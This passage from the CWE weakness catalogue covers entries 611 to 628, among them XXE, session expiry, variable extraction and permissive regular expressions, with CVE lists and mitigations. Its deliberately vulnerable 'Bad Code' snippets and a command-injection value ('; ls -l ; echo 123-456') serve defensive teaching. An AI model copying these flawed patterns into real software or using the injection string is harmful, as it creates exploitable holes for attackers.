ParentOf	B	*470*	*Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')*	*1000*	*791*
ParentOf	V	*601*	*URL Redirection to Untrusted Site ('Open Redirect')*	***1000***	*944*
ParentOf	V	*611*	*Improper Restriction of XML External Entity Reference ('XXE')*	***1000*** ***1003***	*960*

Relationship Notes

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 2.10)*
219	XML Routing Detour Attacks	

Maintenance Notes

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

CWE-611: Improper Restriction of XML External Entity Reference ('XXE')

Weakness ID: 611 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Alternate Terms

XXE

XXE is an acronym used for the term "XML eXternal Entities"

Time of Introduction

- Implementation

Applicable Platforms

Languages

- XML

Architectural Paradigms

- Web-based

Common Consequences

Confidentiality
Read application data
Read files or directories

If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.

Integrity
Bypass protection mechanism
The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.
Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
The software could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.

Observed Examples

Reference	Description
CVE-2005-1306	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script.
CVE-2009-1699	XXE in XSL stylesheet functionality in a common library used by some web browsers.
CVE-2010-3322	XXE in product that performs large-scale data analysis.
CVE-2011-4107	XXE in web-based administration tool for database.
CVE-2012-0037	XXE in office document product using RDF.
CVE-2012-2239	XXE in PHP application allows reading the application's configuration file.
CVE-2012-3363	XXE via XML-RPC request.
CVE-2012-3489	XXE in database server
CVE-2012-4399	XXE in rapid web application development framework allows reading arbitrary files.
CVE-2012-5656	XXE during SVG image conversion

Potential Mitigations

Implementation
System Configuration
Many XML parsers and validators can be configured to disable external entity expansion.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	1000	755
ChildOf	C	442	Web Problems	**699**	757
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	**1000** **1003**	959
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	**888**	1392

Relationship Notes

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

CWE-612: Information Exposure Through Indexing of Private Data

Weakness ID: 612 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product performs an indexing routine against private documents, but does not sufficiently verify that the actors who can access the index also have the privileges to access the private documents.

Extended Description

When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

CWE-613: Insufficient Session Expiration

Weakness ID: 613 *(Weakness Base)* **Status:** Incomplete

Description

Summary

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

Time of Introduction

- Architecture and Design

- Implementation

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Java Example: *Bad Code*

```
<web-app>
  [...snipped...]
  <session-config>
    <session-timeout>-1</session-timeout>
  </session-config>
</web-app>
```

Potential Mitigations

Implementation

Set sessions/credentials expiration date.

Other Notes

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID: 614 *(Weakness Variant)* **Status:** Draft

Description

Summary

The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

Demonstrative Examples

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

Java Example: *Bad Code*

```
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2004-0462	A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product.
CVE-2008-0128	A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
CVE-2008-3662	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
CVE-2008-3663	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.

Potential Mitigations

Implementation

Always set the secure attribute when the cookie should sent via HTTPS only.

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 2.10)*
102	Session Sidejacking	

CWE-615: Information Exposure Through Comments

Weakness ID: 615 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

Demonstrative Examples

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

HTML/JSP Example: *Bad Code*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2007-4072	CMS places full pathname of server in HTML comment.
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments.
CVE-2009-2431	blog software leaks real username in HTML comment.

Potential Mitigations

Distribution

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	V	540	Information Exposure Through Source Code	**699** **1000**	882
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	**888**	1381

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID: 616 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

Demonstrative Examples

Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

PHP Example: *Bad Code*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

Example 2:

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

PHP Example: *Bad Code*

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

** note: 'userfile' is the field name from the web form; this can vary.

Observed Examples

Reference	Description
CVE-2002-1460	Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files.
CVE-2002-1710	Product does not distinguish uploaded file from other files.
CVE-2002-1759	Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST.

Potential Mitigations

Architecture and Design

Use PHP 4 or later.

Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

Implementation

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

Weakness Ordinalities

CWE-617: Reachable Assertion

Weakness ID: 617 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

Time of Introduction

- Implementation

Common Consequences

Availability
DoS: crash / exit / restart

An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.

Demonstrative Examples

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

Java Example: *Bad Code*

```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2006-4095	Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure.
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.
CVE-2006-5779	Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure.
CVE-2006-6767	FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure.
CVE-2006-6811	Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure.

Potential Mitigations

Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Implementation
Input Validation

Perform input validation on user data.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

CWE-618: Exposed Unsafe ActiveX Method

Weakness ID: 618 *(Weakness Base)* **Status:** Incomplete

Description

Summary

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Other
Other

Observed Examples

Reference	Description
CVE-2006-6838	control downloads and executes a url in a parameter
CVE-2007-0321	resultant buffer overflow
CVE-2007-1120	download a file to arbitrary folders.

Potential Mitigations

Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

Architecture and Design
System Configuration

Where possible, avoid marking the control as safe for scripting.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

CWE-619: Dangling Database Cursor ('Cursor Injection')

Weakness ID: 619 *(Weakness Base)* **Status:** Incomplete

Description

Summary

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- SQL

Modes of Introduction

This issue is currently reported for unhandled exceptions, but it is theoretically possible any time the programmer does not close the cursor at the proper time.

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data

Potential Mitigations

Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

This could be primary when the programmer never attempts to close the cursor when finished with it.

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	C	265	Privilege / Sandbox Issues	1000	470
PeerOf	C	388	Error Handling	1000	670

CWE-620: Unverified Password Change

Weakness ID: 620 *(Weakness Variant)* **Status:** Draft

Description

Summary

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

Demonstrative Examples

This code changes a user's password.

PHP Example: *Bad Code*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
  SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Observed Examples

Reference	Description
CVE-2000-0944	Web application password change utility doesn't check the original password.
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.

Potential Mitigations

Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	699	454
ChildOf		287	Improper Authentication	**699** **1000**	508

CWE-621: Variable Extraction Error

Weakness ID: 621 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

Alternate Terms

Variable overwrite

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP

Common Consequences

Integrity

Modify application data

An attacker could modify sensitive data or program variables.

Demonstrative Examples

This code uses the credentials sent in a POST request to login a user.

PHP Example: *Bad Code*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
  $query = buildQuery($user,$pass);
  mysql_query($query);
  if(getUserRole($user) == "Admin"){
    $isAdmin = true;
  }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing
CVE-2006-6661	extract() enables static code injection
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal
CVE-2006-7135	extract issue enables file inclusion
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.

Potential Mitigations

Implementation

Input Validation

Use whitelists of variable names that can be extracted.

Implementation

Consider refactoring your code to avoid extraction routines altogether.

Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1000	793
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	**699** **1000**	1341
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	**888**	1392
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Research Gaps

Probably under-reported for PHP. Under-studied for other interpreted languages.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

CWE-622: Improper Validation of Function Hook Arguments

Weakness ID: 622 *(Weakness Variant)* **Status:** Draft

Description

Summary

A product adds hooks to user-accessible API functions, but does not properly validate the arguments. This could lead to resultant vulnerabilities.

Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

Unexpected state

Observed Examples

Reference	Description
CVE-2006-4541	DoS in IDS via NULL argument
CVE-2006-7160	DoS in firewall using standard Microsoft functions
CVE-2007-0708	DoS in firewall using standard Microsoft functions
CVE-2007-1220	invalid syscall arguments bypass code execution limits
CVE-2007-1376	function does not verify that its argument is the proper type, leading to arbitrary memory write

Potential Mitigations

Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.

Architecture and Design

Drop privileges before invoking such functions, if possible.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	20	Improper Input Validation	**699** **1000**	18
ChildOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	**888**	1394

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP27	Tainted input to environment

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID: 623 *(Weakness Variant)* **Status:** Draft

Description

Summary

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Observed Examples

Reference	Description
CVE-2006-6510	kiosk allows bypass to read files
CVE-2007-0219	web browser uses certain COM objects as ActiveX
CVE-2007-0617	add emails to spam whitelist

Potential Mitigations

Architecture and Design

During development, do not mark it as safe for scripting.

System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	267	Privilege Defined With Unsafe Actions	**699** **1000**	474
PeerOf	B	618	Exposed Unsafe ActiveX Method	1000	968
ChildOf	C	691	Insufficient Control Flow Management	1000	1075
ChildOf	C	978	SFP Secondary Cluster: Implementation	**888**	1387

Research Gaps

It is suspected that this is under-reported.

CWE-624: Executable Regular Expression Error

Weakness ID: 624 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP
- Perl

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Observed Examples

Reference	Description
CVE-2005-3420	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
CVE-2006-2059	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
CVE-2006-2878	CVE-2006-2908 Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier
CVE-2006-2908	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier.

Potential Mitigations

Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	**699** **1000**	117
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	**888**	1392

Research Gaps

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

CWE-625: Permissive Regular Expression

Weakness ID: 625 *(Weakness Base)* **Status:** Draft

Description

Summary

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

not identifying the beginning and end of the target string
using wildcards instead of acceptable character ranges
others

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Perl
- PHP

Modes of Introduction

This problem is frequently found when the regular expression is used in input validation or security features such as authentication.

Common Consequences

Access Control
Bypass protection mechanism

Demonstrative Examples

Perl Example: *Bad Code*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
  # looks like it only has hyphens and digits
  system("lookup-phone $phone");
}
else {
  error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

Reference	Description
	VIM Mailing list, March 14, 2006

Reference	Description
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
CVE-2002-2175	insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another.
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
CVE-2006-1895	".*" regexp leads to static code injection
CVE-2006-4527	regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion.
CVE-2006-6511	regexp in .htaccess file allows access of files whose names contain certain substrings
CVE-2006-6629	allow load of macro files whose names contain certain substrings.

Potential Mitigations

Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	B	183	Permissive Whitelist	1000	352
PeerOf	B	184	Incomplete Blacklist	1000	352

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID: 626 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

Terminology Notes

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP
- Perl
- ASP.NET

Common Consequences

Integrity

Unexpected state

Observed Examples

Reference	Description
CVE-2005-3153	inserting SQL after a NUL byte bypasses whitelist regexp, enabling SQL injection
CVE-2005-4155	NUL byte bypasses PHP regular expression check

Potential Mitigations

Implementation

Remove null bytes from all incoming strings.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	20	Improper Input Validation	**699** **1000**	18
ChildOf	B	436	Interpretation Conflict	699 1000	751
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	**888**	1392

Research Gaps

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

CWE-627: Dynamic Variable Evaluation

Weakness ID: 627 *(Weakness Base)* **Status:** Incomplete

Description

Summary

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

Alternate Terms

Dynamic evaluation

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP
- Perl

Common Consequences

Confidentiality
Integrity
Availability
Modify application data
Execute unauthorized code or commands

An attacker could gain unauthorized access to internal program variables and execute arbitrary code.

Observed Examples

Reference	Description
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.

Potential Mitigations

Implementation
Refactoring

Refactor the code to avoid dynamic variable evaluation whenever possible.

Implementation
Input Validation

Use only whitelists of acceptable variable or function names.

Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	B	183	Permissive Whitelist	1000	352
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	**699** **1000**	1341
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	**888**	1392
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Research Gaps

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID: 628 *(Weakness Base)* **Status:** Draft

Description

Summary

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

Extended Description

There are multiple ways in which this weakness can be introduced, including:

the wrong variable or reference;

an incorrect number of arguments;

incorrect order of arguments;

wrong type of arguments; or

wrong value.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other

Access Control

Quality degradation

Gain privileges / assume identity

This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.

Detection Methods

Other

Since these bugs typically introduce obviously incorrect behavior, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

PHP Example: *Bad Code*

```
function authenticate($username, $password) {
  // authenticate user
  ...
}
authenticate($_POST['password'], $_POST['username']);
```

Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Perl Example: *Bad Code*

```
sub ReportAuth {
  my ($username, $result, $fatal) = @_;
  PrintLog("auth: username=%s, result=%d", $username, $result);
  if (($result ne "success") && $fatal) {
    die "Failed!\n";
```

```
  }
}
sub PrivilegedFunc
{
  my $result = CheckAuth($username);
  ReportAuth($username, $result, 0);
  DoReallyImportantStuff();
}
```

Example 3:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Java Example: *Bad Code*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
  String[] userRoles = getUserRoles(user);
  return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
  // grant or deny access based on user roles
  ...
}
```

Observed Examples

Reference	Description
CVE-2006-7049	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions.

Potential Mitigations

Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

Architecture and Design

Make sure your API's are stable before you use them in production code.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

View Audience

Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

Software Customers

